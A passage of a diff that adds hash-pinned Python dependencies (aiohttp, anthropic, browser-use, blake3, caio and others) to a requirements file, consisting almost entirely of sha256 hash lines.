--hash=sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8 +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + --hash=sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b \ + --hash=sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d \ + --hash=sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf \ + --hash=sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f \ + --hash=sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7 \ + --hash=sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc \ + --hash=sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559 \ + --hash=sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f \ + --hash=sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929 \ + --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9 \ + --hash=sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8 \ + --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7 \ + --hash=sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8 \ + --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30 \ + --hash=sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553 \ + --hash=sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7 \ + --hash=sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86 \ + --hash=sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e \ + --hash=sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a \ + --hash=sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c \ + --hash=sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da \ + --hash=sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5 \ + --hash=sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d \ + --hash=sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100 \ + --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22 \ + --hash=sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1 \ + --hash=sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479 \ + --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062 \ + --hash=sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661 \ + --hash=sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427 \ + --hash=sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32 \ + --hash=sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a \ + --hash=sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db \ + --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a \ + --hash=sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd \ + --hash=sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06 \ + --hash=sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8 \ + --hash=sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228 \ + --hash=sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0 \ + --hash=sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919 \ + --hash=sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee \ + --hash=sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2 \ + --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43 \ + --hash=sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098 \ + --hash=sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c \ + --hash=sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371 \ + --hash=sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b \ + --hash=sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0 \ + --hash=sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f \ + --hash=sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100 \ + --hash=sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529 \ + --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c \ + --hash=sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41 \ + --hash=sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716 \ + --hash=sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33 \ + --hash=sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f \ + --hash=sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e \ + --hash=sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa \ + --hash=sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b \ + --hash=sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80 \ + --hash=sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646 \ + --hash=sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e \ + --hash=sha256:b20032766aedf6261c7a566585a40867d092ac03a0d81592d5370ef9b054f99b \ + --hash=sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c \ + --hash=sha256:b304db572b4368edd8dda8a2274f73156fe15558fca4a917cb8a09fc47af5963 \ + --hash=sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae \ + --hash=sha256:bd52f811e65f6fb634b1047159657c98f52b407f8efec907bcfc09da9a4c0a25 \ + --hash=sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c \ + --hash=sha256:c23ec8ee9d5ab2f5421f9c7fffce208435607af27fd46d4a44e031954352838f \ + --hash=sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807 \ + --hash=sha256:c3c200cf9757edd785051dc699c7ecbec22110dbfcb3fefc7a9f9695eda8ea7a \ + --hash=sha256:c7d3a97c678d34fc5b59da671ee9cd630096ddc643e7b5a30d54a2a6f3574d3f \ + --hash=sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d \ + --hash=sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82 \ + --hash=sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15 \ + --hash=sha256:cd817772b2fcf2b8c0905795318485f9ec16eae60b29feb7f4c77085311637f0 \ + --hash=sha256:cda5fd5c95ad7a125a2e8464acc78b98b94c475a3780d6aa0aa157c93f470f4d \ + --hash=sha256:cef89a58e628c4efcac3275c2d68083f82426dcdc89c1492a6f654f9f7ea6ab9 \ + --hash=sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19 \ + --hash=sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239 \ + --hash=sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0 \ + --hash=sha256:d77640cc618c1d99fc4f8589c0f24a730adfa54eb1e57ef7bf0c8dfb78da898c \ + --hash=sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5 \ + --hash=sha256:db332af25642007330fca8be5c4d194caf2bea7a7fc84415aff3497af5dfee6b \ + --hash=sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4 \ + --hash=sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2 \ + --hash=sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9 \ + --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 \ + --hash=sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883 \ + --hash=sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d \ + --hash=sha256:e2667f0bbe7eb6c74eae5e9691441ad186e5845ca3cff63230fc09c4e7514f5d \ + --hash=sha256:e3be98a7c30b8c25d573dafba7171d66dfb05ee6a9070fc46535464ff97700a6 \ + --hash=sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3 \ + --hash=sha256:e72ee89e28d907a18f46959b4eb0bb06701cc7f8cf4366e00029e2ccfaaf5924 \ + --hash=sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde \ + --hash=sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787 \ + --hash=sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb \ + --hash=sha256:eb0495d778817619273c108784292be161a924b9f5ae5cbbc70a2caa6838250b \ + --hash=sha256:ebe8e504f058fe91223351cecd2d9d6946c9d241bb0250d898ffbdf584cc72b0 \ + --hash=sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910 \ + --hash=sha256:f0f177d1b195b9e06376cfd7d308d8a1b920909a609d03ac82a8c73bbb16d3b9 \ + --hash=sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627 \ + --hash=sha256:f4e05329faa0ea1a404b37de4f034fd2c2defcca06a68dc6745e4e56c88e8a48 \ + --hash=sha256:f53bcd52f585e1ac3e590d61434eb61f9a88c38df041b4ea126d97144344a77b \ + --hash=sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce \ + --hash=sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a \ + --hash=sha256:f8fb78a83c9e5f741ca3a68cfb455c1f5bb83b4e7249a3848b3cd78d0a8563b0 \ + --hash=sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24 \ + --hash=sha256:fd51ebf9d3a00c074df4ede271023f4d2dba289bcc740b88191872716014e3c5 +aiosignal==1.4.0 \ + --hash=sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e \ + --hash=sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7 +annotated-types==0.7.0 \ + --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \ + --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89 +anthropic==0.75.0 \ + --hash=sha256:e8607422f4ab616db2ea5baacc215dd5f028da99ce2f022e33c7c535b29f3dfb \ + --hash=sha256:ea8317271b6c15d80225a9f3c670152746e88805a7a61e14d4a374577164965b +anyio==4.14.2 \ + --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 \ + --hash=sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f +attrs==25.3.0 \ + --hash=sha256:427318ce031701fea540783410126f03899a97ffc6f61596ad581ac2e40e3bc3 \ + --hash=sha256:75d7cefc7fb576747b2c81b4442d4d4a1ce0900973527c011d1030fd3bf4af1b +authlib==1.6.12 \ + --hash=sha256:0656d8482f28fc8221929d5f35b2bde5d13e10555ebc06b4561b0d622e83b1bd \ + --hash=sha256:e9229ad7fde610b139dd12f5edbe97eab9ee78bfb85691247e767727850b99ab +backoff==2.2.1 \ + --hash=sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba \ + --hash=sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8 +beartype==0.22.9 \ + --hash=sha256:8f82b54aa723a2848a56008d18875f91c1db02c32ef6a62319a002e3e25a975f \ + --hash=sha256:d16c9bbc61ea14637596c5f6fbff2ee99cbe3573e46a716401734ef50c3060c2 +beautifulsoup4==4.14.2 \ + --hash=sha256:2a98ab9f944a11acee9cc848508ec28d9228abfd522ef0fad6a02a72e0ded69e \ + --hash=sha256:5ef6fa3a8cbece8488d66985560f97ed091e22bbc4e9c2338508a9d5de6d4515 +binaryornot==0.4.4 \ + --hash=sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061 \ + --hash=sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4 +blake3==1.0.9 \ + --hash=sha256:01e136de1078a9011c82beb4a1cb400644794068c0e80877415328bb46d93b47 \ + --hash=sha256:021309d760b390706fecf13498f9a25aa8f689bbb65a0896029b8fa223aae18b \ + --hash=sha256:09a69fcedf06785bb81d4d3d39f95ee65dbaf2cb246e174cfc9ff64d027f7551 \ + --hash=sha256:09deb024cd75cb200e7f647cd038800e6edc8f190c8188e0c69ec1c2b920e125 \ + --hash=sha256:0aba416bb2e3ef0c65e74d5eba21062483c714cd78e7e303c9d03c547fc7d015 \ + --hash=sha256:0cdfeff65488089ef86f7587c76055ff72b28d28d10e427b547f5711477c376d \ + --hash=sha256:128a62136c9a39c7cb9fdaa5fb38471f2418853da7f5a89f31495735d0ba6f2c \ + --hash=sha256:15566065ff90ab3da46ec0be1417406f00507af902b6fb0fbc6563e77f02fc42 \ + --hash=sha256:172d44245a19dfec08ab771c1b7a506b97783163cdc65f559fe020007e403c99 \ + --hash=sha256:188127f98106309e4c477977d29ee8588ba4b153ea5a7eb9bc202d5b9f05d0f9 \ + --hash=sha256:1bbdff61e049297ef3180867ce1f079cea7e5b372fd76953c3183da5b8124206 \ + --hash=sha256:1bd981dc318c05375c3160a99df493b7cc4c83fffa1a34d14b18a071b47b262b \ + --hash=sha256:1ff480ca2bee74f56d90658a44176f0abdd9b766a181586b995fee358a9c40e7 \ + --hash=sha256:216977b1d592a60150cd5de64d5853dc6afb0eb522cb387723ae7f78f380d947 \ + --hash=sha256:249e5964fa9e768924bc7cc3d4efe75a425bb5dd3fb7671c3eda8eeddfa50591 \ + --hash=sha256:24acb1e6f31021fa08b7eb31433035facfcf0d82e964170d5eb85a30ce913ba9 \ + --hash=sha256:28404301de485e9546365d01b30f65eaa835520c4211d6ef61242975b6722b60 \ + --hash=sha256:28528d1f29e6f3d45faf3482e1197e5e175730eef38bdc74e56ee11b68e0ad0d \ + --hash=sha256:2a800b87433955f37691b5f361ad29c7dd3ee089c9cd109adc5aea8e24bc4c1f \ + --hash=sha256:2ee96daaa850700fd342a811fa10a8780fd2e8464a71b83a1779c7b6becd3dd5 \ + --hash=sha256:2f4ce45da903f3d0a7e342fa70c7cce9c10cef6b529eadb4d6213be0ab0eaf84 \ + --hash=sha256:2fd000708662b04be211a22c1095b65fe399d7276e9f3bb2fd1ef8aacc545791 \ + --hash=sha256:2fff822c0a14b1378769f26eede9577e1230b289fa9a2e9d15c751b6d5a81cd5 \ + --hash=sha256:32bd4521ec2d477627ad93eb70f9ac4d01e12d1489024159bcaeff79466332f6 \ + --hash=sha256:34c947a95a68ec103846525e3a99193f9fcf5e762e40dcce80adbb8e398abef7 \ + --hash=sha256:38e61d3b0386af16b3c03a18e0db82b626d63796274637a1fef855fd1c778d82 \ + --hash=sha256:3cbe7f190164896dc3908e920716ee66bc31d40f1a0fb603ed59ac53290fb9cf \ + --hash=sha256:40bcc18675d583e23722d6c106ea3068ba705f7575f874c1ca14a6af0728ccb6 \ + --hash=sha256:42609e4adc4b2d7423137f2cb35135bca598b925c5af09d2bc0a2c368b25aeb1 \ + --hash=sha256:42fa57bf462285ef16400601b0fd32214c248ba92505bbb94b1221ab9af5a092 \ + --hash=sha256:4865a8cfb2b3d7c0baf5267f2fa6816a3384e836cd1bd0caf359f406cb1e8fba \ + --hash=sha256:4c9a8b093d0e57a9fb612dac768b329a0719c09357e7ce1e5403106a7533b5ef \ + --hash=sha256:508ccaf8f9377cc47e6026c2897fdc37de61faeb1420dc023b6379cc2474eb65 \ + --hash=sha256:54e35f3b71d5e2f5b1434a01f44cf386be2ff3dcd0ed6589eeb52a0076b2e016 \ + --hash=sha256:5b35abe24a66a7b3db423eb4f8668ed7be1a362aa9c0024ab6483ec0b2c16058 \ + --hash=sha256:5ea0c60dd9c1e3d05610606579e4bf80f562854c46ed55f9ee8545e18987a480 \ + --hash=sha256:5fa374fa5070ca084368776c19b420157eb0f2d3f091343d6bc59189929d62e2 \ + --hash=sha256:65c0c20014df687694af5ccf0cec3bdb194511da8ebd50c30b0fd55c83fa4fd5 \ + --hash=sha256:66aa1c40ad019fbb5e93d603300c4478a59b98c40c7ea13ac036676c26dfb1c7 \ + --hash=sha256:66c84dbc2a31eda88b55bbf5c5b711037bf0698eba0fd1faf06bdaf313c39048 \ + --hash=sha256:6879739e7904b9c42afbedbcc2e8c36cebe140fb3fc3f5c492993579cf5cd516 \ + --hash=sha256:689a7e4069de681d9c5d9445b8b6473ee880ad04d7960a6789c60bd788980250 \ + --hash=sha256:69ff5aebc7650954443aa701feff2028d7c7ea5b5e18ee265f15e2104e892328 \ + --hash=sha256:6c99afb0459c82dd13e456b6b68d45c4768b539ca998dacd3ed726f1e75e91dc \ + --hash=sha256:6edeb3d49a24c307995899b70dd47aa901d0e9ad51d2f8a79aba4f074f32d8c5 \ + --hash=sha256:6f2dd643166dfeb7cf4ad53eb2d801f944d247212d3481950b4d5b4a20551461 \ + --hash=sha256:6f5f60072fc7191d9918395bf2e701bcc60b44aeda0bf0a173abafcf49e10cff \ + --hash=sha256:72cdecf088a9d25e6ec79948a578995649b0dbee407e7a46c543a9ecc0f6f281 \ + --hash=sha256:73a48f7e9f0e047f51a445d9b0361ab1907bdc72b6857815a84dacd2e59556f8 \ + --hash=sha256:766f1555cbe614f14f399c2fbec0983568d20edb36837ba04040807eb9e1a609 \ + --hash=sha256:78833070b782bbd2b987a2a239c796f525e74d338d8cbc23557945548d5488f6 \ + --hash=sha256:7a760e8f8ac8b49761fc6a28ed5bbf6bbc8008026134498ec2b8b20f26850499 \ + --hash=sha256:8114fb2a1f6cba9cba5411d62cbcb283b2205b154d0076f20b77e22592eb2719 \ + --hash=sha256:82ecade6ac425fdfc39a4371d6d9232fd6e5c28748fd8d3489016ead17407014 \ + --hash=sha256:837e116ebedf06e48491f4c44a5e8804a864dad07cd7b897ebb507e410fed740 \ + --hash=sha256:83b4a2336105af3800f7e17ac4b943f293a3927a2d66a6308d50dba944a6953e \ + --hash=sha256:85262504baa150d64a599563d7a7bf19331fd7a2cc4c7b050cb31edfd69edbee \ + --hash=sha256:8a5917733828841e5bf6b9b7e63d62e0f70ec2cf262f5bd189db51c5a5508068 \ + --hash=sha256:8a99f896e7718050ed033a888245098aab3d6a5338f91cc9450c563b53f90ad5 \ + --hash=sha256:8adb0b0032e53919ee95b3d4f911448d3268316c28cd7df232ff2a1e7c9a4ba4 \ + --hash=sha256:8cd10c6a421a7d3c81136658e52e9ef58bfcc1df04193466664eb24981784f4c \ + --hash=sha256:91db52a809b68b5bebe7c413ddcd230e1f759398e7fa7a873104595a4fa648b6 \ + --hash=sha256:94d99e6ca7d5ca684bc48f3aa9ec6e78c72c775ae223d131b9efb217389f0195 \ + --hash=sha256:95fc3545f80901b0dcd0508d16bc40f15ae39556709fa6cf86675f742d4f3c9c \ + --hash=sha256:964b642631a3c8fe117b3439c8ae64a9a0981af9444e409656d1f1e464bfa125 \ + --hash=sha256:9767f16199b99aa022b61ff825ac4dbd39864bf637ae712605a2ce1f8b6a55e0 \ + --hash=sha256:9c0570338b4e3f6dc7943196edb029e0e4f74fd55d9703a40028f5b6c9c09dc5 \ + --hash=sha256:9cef6d4d07a7de0c44f5ba17f6383d55276d9efc8d601f75113538fcaa35008b \ + --hash=sha256:a288664d08dee154cc496e06e62517fc9e655ecec12b0d7db538d244ac79edf1 \ + --hash=sha256:a517f0460007edec3767595115c520ed1f157ddd0ed23dddbf6b9d8b0082afb6 \ + --hash=sha256:a70c20542d5e7960983a0ff32999049a2b0e5ef1f22dbbbdfb51cf04828a4156 \ + --hash=sha256:aa6e5c7533c915a24d840ae4be787e9a6059be7e77944b005b3d967a0257a17d \ + --hash=sha256:ab0c030cf6644c30e786b0e785bde4e4596013ae9ea6ce9877e39d52383e25d7 \ + --hash=sha256:ae47c3d5729ff89baa6ddf6de47fcfcc915985d39eb1bfcd6db653331f3c6fcc \ + --hash=sha256:b25ccde5a64be070f20e5c7a81da70292db40b164b6c77588cbd6230856badbb \ + --hash=sha256:b27550ada40f839aca64c66127940e4318bb6ef3e291890ef913017f6f637448 \ + --hash=sha256:b4102ba86b86c992a931b4a88c58a632d6097461e14a1e63ebd2ecb98ff0898f \ + --hash=sha256:b5d5bf0f68cd77108a942c95db98e960d9c3d5643b95172f783822ce22667759 \ + --hash=sha256:b5e1f21b49492d01fa5a02084894c491ab9e7a1867fced107f7126c80d067c94 \ + --hash=sha256:b985eb08db76550ec97444e03b10acd737baa03fd98aaf3b8455a1c644c8f5d6 \ + --hash=sha256:b9f7205531b41674316de9f15592c13ad3ebcedadb562fda8bbd8641c6f6ef8f \ + --hash=sha256:baebf1ebe6ccad936730a651dd74d40433debc6e19cbb34357222050fbf31189 \ + --hash=sha256:bb5e6c80e7c0825aa7223bca0dd2c6e7ea506db7ec734094631ce5efdae7a554 \ + --hash=sha256:bca166d0b01c00dcf2a936f790ed947bd9079b0a0a7df1b76746f201aa4f4ac4 \ + --hash=sha256:bcd56a7a972c4185070f7042ccc20166927eec3c0f98b8405f375d007b604a0b \ + --hash=sha256:c32a1f7ffa0a88c4f8dfb75f87297e8f076d3a63f714da99f7e763d8c435e14f \ + --hash=sha256:c755044ba7bec3d03dae44b968194112f0eb0e8c4523465f3dd9e1a87e178d89 \ + --hash=sha256:c7f648fa425138452d1e585ac625c7aefddb946d9765906c4c12d564a1523cd8 \ + --hash=sha256:ca7dfe8fb197ff8a3f5c915424183ccd52a99e8afb12680f51b2e1f4c9c6c97f \ + --hash=sha256:caded2806d2cbeed638c5e2517ed8b2a94165b3452fda35e72896142d22070e0 \ + --hash=sha256:cfaa671b07eb73883162ca940442193868358b0b904cfa266e4b74131ce966da \ + --hash=sha256:d1ea0bf17b184b03444007646d902207d2b4d4f3e91a0cac3836552d83db74b9 \ + --hash=sha256:d819457dccfd82fe34684ec99e36725f747bd5761a0e17f537387fb31d121193 \ + --hash=sha256:d9d13051df059730efe83c6df142ba5a2ad67b82d50f9a62f3a556d6c2af201e \ + --hash=sha256:dab59b324aa65c09e937d6c43de5de85ec9581627f4e79dcc9806d85b54a1c34 \ + --hash=sha256:dad0a8a716dd201860f8e82011a340e6bdd5ee37a8eb4357b48ac64c4e6de1c2 \ + --hash=sha256:e448a4f985b3e4709541dbce057e5bb073527001613f8eeb1ce2705988262f9d \ + --hash=sha256:e779710aa52a0fe4ad96cd6bcbcd5aee1bcee7a748221394e4a39a58b21d0bac \ + --hash=sha256:e9e1d0392624c2f9d049d786f0dc547ce818d2f2b356bcf1c4d74b6f9cc026b4 \ + --hash=sha256:eca281fedcbe5c56655bd5a4176e6036eddbbe57df96114a03838fce08b1e0ca \ + --hash=sha256:f169519c7ef25ef2c446b05e2f08e7e59fae312d569f98a3134b38d4caf7abd4 \ + --hash=sha256:f5c9d57f0dcb92243b6ae575c3065793edc9df9008d0ebd98d8245cdeb7c3f84 \ + --hash=sha256:f65d77eb05331495485048f6804f53885b192b998acb7e6fe1487d941bf08435 \ + --hash=sha256:f9d8b6c6af52a8ff499debf5fd15d7395e0ed837ec2a80fd828b4c6b970de3ed \ + --hash=sha256:fe3c59f8a7b5460fd374b264559c5da7af0a33657a9eca95fff6d843f02cde9e +browser-use==0.11.9 \ + --hash=sha256:a66accf4dded24d056eb2733e354e159fd7d82cab986d75dc0f14b395467c82c \ + --hash=sha256:c3d8a420acf26d26c688c42916358ba546e7159e1a699c06064b899cb7927577 +browser-use-sdk==2.0.15 \ + --hash=sha256:0832ae0998736e6386457e6cf506e2820db0d626c4d9dbf0f567ea2b6c6888d3 \ + --hash=sha256:5d8ba3836070c67a9774baac556b233e22f266823d3dee34295d98869bec7752 +bubus==1.5.6 \ + --hash=sha256:1a5456f0a576e86613a7bd66e819891b677778320b6e291094e339b0d9df2e0d \ + --hash=sha256:254ae37cd9299941f5e9d6afb11f8e3ce069f83e5b9476f88c6b2e32912f237d +cachetools==7.1.8 \ + --hash=sha256:1221d547a0b24b7f26fa891d40d488b5258beab9aebd8ed68c729be3af849c43 \ + --hash=sha256:a81e3844acaa7355b6567f97bd67a94a14ec3a9bc2cbbdae45b9592cc036775b +caio==0.9.25 \ + --hash=sha256:06c0bb02d6b929119b1cfbe1ca403c768b2013a369e2db46bfa2a5761cf82e40 \ + --hash=sha256:0998210a4d5cd5cb565b32ccfe4e53d67303f868a76f212e002a8554692870e6 \ + --hash=sha256:0ba16aa605ccb174665357fc729cf500679c2d94d5f1458a6f0d5ca48f2060a7 \ + --hash=sha256:16498e7f81d1d0f5a4c0ad3f2540e65fe25691376e0a5bd367f558067113ed10 \ + --hash=sha256:1a177d4777141b96f175fe2c37a3d96dec7911ed9ad5f02bac38aaa1c936611f \ + --hash=sha256:44a6b58e52d488c75cfaa5ecaa404b2b41cc965e6c417e03251e868ecd5b6d77 \ + --hash=sha256:4fa69eba47e0f041b9d4f336e2ad40740681c43e686b18b191b6c5f4c5544bfb \ + --hash=sha256:628a630eb7fb22381dd8e3c8ab7f59e854b9c806639811fc3f4310c6bd711d79 \ + --hash=sha256:6bebf6f079f1341d19f7386db9b8b1f07e8cc15ae13bfdaff573371ba0575d69 \ + --hash=sha256:97084e4e30dfa598449d874c4d8e0c8d5ea17d2f752ef5e48e150ff9d240cd64 \ + --hash=sha256:9ed3cfb28c0e99fec5e208c934e5c157d0866aa9c32aa4dc5e9b6034af6286b7 \ + --hash=sha256:ab52e5b643f8bbd64a0605d9412796cd3464cb8ca88593b13e95a0f0b10508ae \ + --hash=sha256:ae3d62587332bce600f861a8de6256b1014d6485cfd25d68c15caf1611dd1f7c \ + --hash=sha256:bf61d7d0c4fd10ffdd98ca47f7e8db4d7408e74649ffaf4bef40b029ada3c21b \ + --hash=sha256:bf84bfa039f25ad91f4f52944452a5f6f405e8afab4d445450978cd6241d1478 \ + --hash=sha256:ca6c8ecda611478b6016cb94d23fd3eb7124852b985bdec7ecaad9f3116b9619 \ + --hash=sha256:d6956d9e4a27021c8bd6c9677f3a59eb1d820cc32d0343cea7961a03b1371965 \ + --hash=sha256:d6c2a3411af97762a2b03840c3cec2f7f728921ff8adda53d7ea2315a8563451 \ + --hash=sha256:db9b5681e4af8176159f0d6598e73b2279bb661e718c7ac23342c550bd78c241 \ + --hash=sha256:fab6078b9348e883c80a5e14b382e6ad6aabbc4429ca034e76e730cf464269db \ + --hash=sha256:fb7ff95af4c31ad3f03179149aab61097a71fd85e05f89b4786de0359dffd044 \ + --hash=sha256:fc220b8533dcf0f238a6b1a4a937f92024c71e7b10b5a2dfc1c73604a25709bc +cdp-use==1.4.4 \ + 